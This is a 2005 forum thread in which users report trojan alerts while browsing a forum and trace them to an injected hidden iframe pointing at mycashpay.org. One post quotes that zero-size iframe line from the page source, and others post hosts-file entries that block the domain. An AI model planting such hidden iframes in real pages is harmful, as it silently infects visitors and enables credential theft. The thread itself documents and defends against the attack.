Modified infected by trojans?

Anz · Post by **Anz** » 11 Mar 2005 23:20

My virus scan found a trojan when I came to modified. The site may be infected.

Tuukka · Post by **Tuukka** » 12 Mar 2005 02:38

Mine found too. Troijan found and destroyed. At least yesterday I got it every time I refreshed the topic list.

EDIT: and now again. File name is like: Exploit-MhtRedir.gen

Tuukka TKO

Cod · Post by **Cod** » 12 Mar 2005 06:34

My antivir also found that. Filename is "nero[1].exe".

pips · Post by **pips** » 12 Mar 2005 07:26

Tuukka wrote:Mine found too. Troijan found and destroyed. At least yesterday I got it every time I refreshed the topic list.

EDIT: and now again. File name is like: Exploit-MhtRedir.gen

Tuukka TKO

That file name seems familiar to me too. My computer deleted it last night when I was on here.

B_Man · Post by **B_Man** » 12 Mar 2005 21:44

I also keep getting a pop-up from Download Accelerator of a file that sonds similar to Cods.

wolfpac444 · Post by **wolfpac444** » 12 Mar 2005 22:02

I use Linux and experience none of these problems ;-]

B_Man · Post by **B_Man** » 12 Mar 2005 22:08

Thought I'd post:

Apparently the program I've been getting can be d/l'ed off the site www.mycashpay.org and the program is nero.exec.

Don't know if that helps any.

Tsiangkun · Post by **Tsiangkun** » 12 Mar 2005 22:27

wolfpac444 wrote:I use Linux and experience none of these problems ;-]

no problems with freeBSD either. I guess this shows that you get what you pay for. These gosh darned free OS's never get attention from virus writers, and we never get to partake in these exciting infections.

Sometimes I think of switching to windows just so I can experience something other than rock solid stability from my computers.

ninja · Post by **ninja** » 13 Mar 2005 03:00

I got PWSteal.Banker.B

King Monkey · Post by **King Monkey** » 13 Mar 2005 05:16

yeh i got this but only on my other computer, using Explorer. I normally use Mozilla on this computer. I got a message about MYCASHPAY, listed as possibly being an infection. It happened every time i went back to the modified index.

I dont know if this next thing is related, but in the title description box of the Videos topic on the modified index page, there is a tiny black square at the end of the text. Is this just on my version?

kaos · Post by **kaos** » 13 Mar 2005 07:41

Well spotted Ian.

From the page source:

Code: Select all

<iframe src="http://mycashpay.org/" width=0 height=0></iframe>

Most browsers should allow you to disable inline frames...until admin fixes it.

habitat · Post by **habitat** » 13 Mar 2005 11:51

how fucked up, .org forum gets hacked, now someone is trying to steal some passwords and shit from modified, damn I wish I could find these people and sock them in the face

Tsiangkun · Post by **Tsiangkun** » 13 Mar 2005 12:21

$ cat >>/etc/hosts
127.0.0.1 mycashpay.org

--
stop overly large sigs.

wolfpac444 · Post by **wolfpac444** » 13 Mar 2005 12:25

Or for you Windows users, add

Code: Select all

127.0.0.1 mycashpay.org

to the end of your c:\windows\hosts file.

Tsiangkun · Post by **Tsiangkun** » 13 Mar 2005 12:45

not sure if the format is identical for windows, but
HERE
is a file that will block most ads, trojans and other junk I don't care to waste time downloading.

zachatree · Post by **zachatree** » 13 Mar 2005 15:52

i actuly been haveing alot of problems with spy wear and such often geting alot of pop ups from modified.

EDIT ^ that link didnt go for any thing to dl, just a bunch of listed shit.

wolfpac444 · Post by **wolfpac444** » 13 Mar 2005 16:55

You right click and save that file under c:\windows , and it will effectively block all of those sites.

mc · Post by mc » 14 Mar 2005 05:57

I use Mozilla Firefox, and I haven't received any notification of this Trojan being on my system. Should I be concerned? Is there some way I can check for this and remove it manually? thanks to those with more knowledge on this subject than I...

peanutbuterboy · Post by **peanutbuterboy** » 14 Mar 2005 15:35

Im using firefox too and I have no trouble, but at school I have IE and I got all kinds of trojan stuff. It couldnt even open modified.

Tsiangkun · Post by **Tsiangkun** » 14 Mar 2005 15:42

I'm using firefox too, and I've seen it try to make a connection to mycash.org in the bottom status bar. I haven't found any downloaded files though. Depends on an active X component to work the magic perhaps ?